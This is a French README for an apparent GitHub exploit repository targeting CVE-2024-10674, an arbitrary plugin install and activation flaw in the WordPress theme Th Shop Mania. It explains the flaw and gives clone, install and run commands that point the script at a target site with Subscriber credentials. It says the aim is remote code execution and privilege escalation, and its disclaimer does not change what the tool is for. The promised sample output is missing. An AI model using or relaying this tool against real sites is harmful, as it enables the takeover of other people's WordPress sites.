
Th Shop Mania <= 1.4.9 - Installation/Activation arbitraire de plugin par un utilisateur authentifié (Abonné+)
Ce dépôt contient un exploit pour la vulnérabilité identifiée comme CVE-2024-10674 dans le thème WordPress Th Shop Mania. Cette vulnérabilité permet aux utilisateurs authentifiés disposant au minimum d'un accès de niveau Abonné (Subscriber) d'installer et d'activer des plugins arbitraires sans autorisation appropriée. Cet exploit peut être utilisé pour installer des plugins malveillants, conduisant à une exécution de code à distance et à une élévation de privilèges.
Titre : Th Shop Mania <= 1.4.9 - Installation/Activation arbitraire de plugins authentifiée (Abonné+)
Description : Le thème Th Shop Mania pour WordPress est vulnérable à l'installation arbitraire de plugins non autorisés en raison d'un contrôle de capacité manquant sur la fonction th_shop_mania_install_and_activate_callback() dans toutes les versions jusqu'à la 1.4.9 inclus. Cela permet à des attaquants authentifiés, disposant d'un accès de niveau Abonné et supérieur, d'installer des plugins arbitraires qui peuvent être utilisés pour exploiter d'autres vulnérabilités et parvenir à une exécution de code à distance et à une élévation de privilèges.
usage: CVE-2024-10674.py [-h] -u URL -U USERNAME -P PASSWORD [-p PLUGIN]
Exploit for CVE-2024-10674 (# By Nxploit | Khaled alenazi,)
options:
-h, --help show this help message and exit
-u URL, --url URL Target WordPress URL (e.g., http://192.168.100.74:888/wordpress)
-U USERNAME, --username USERNAME
WordPress username
-P PASSWORD, --password PASSWORD
WordPress password
-p PLUGIN, --plugin PLUGIN
Plugin to install (default: All In One Woo Cart)
Cloner le dépôt :
git clone https://github.com/Nxploited/CVE-2024-10674.git
cd CVE-2024-10674
Installer les dépendances :
Assurez-vous que la bibliothèque requests est installée. Si ce n'est pas le cas, installez-la avec pip :
pip install requests
Exécuter l'exploit :
python exploit_script.py --url <target-url> --username <wp-username> --password <wp-password> --plugin <plugin-name>
Exemple :
python exploit_script.py --url http://192.168.100.74:888/wordpress --username admin --password admin --plugin hello-dolly
--url : URL du site WordPress cible.--username : Nom d'utilisateur WordPress avec au moins un accès de niveau Abonné.--password : Mot de passe du nom d'utilisateur WordPress.--plugin : Le plugin à installer et à activer (par défaut : ).Le script d'exploit fournira la sortie suivante :
Cet exploit est fourni à des fins éducatives uniquement. Utilisez-le à vos propres risques. L'auteur n'est pas responsable des dommages causés par l'utilisation de cet exploit.
Pour toute demande, vous pouvez me contacter sur GitHub.
th-all-in-one-woo-cart